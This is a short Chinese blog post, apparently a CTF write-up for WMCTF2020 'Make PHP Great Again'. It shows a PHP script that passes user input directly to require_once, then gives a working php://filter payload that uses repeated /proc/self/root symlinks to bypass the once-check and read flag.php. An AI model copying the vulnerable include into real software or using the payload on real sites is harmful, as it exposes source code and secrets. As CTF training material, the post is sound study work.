[WMCTF2020]Make PHP Great Again

最新推荐文章于 2024-09-22 19:58:18 发布

一夜至秋.

最新推荐文章于 2024-09-22 19:58:18 发布

阅读量427

点赞数

分类专栏： CTF 文章标签： web安全

本文链接：https://blog.csdn.net/m0_62905261/article/details/126732255

版权

CTF 专栏收录该内容

71 篇文章 0 订阅

订阅专栏

[WMCTF2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

这里涉及到一个知识点是（php源码分析 require_once 绕过不能重复包含文件的限制 - 安全客，安全资讯平台）：PHP最新版的小Trick， require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含。构造payload：/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php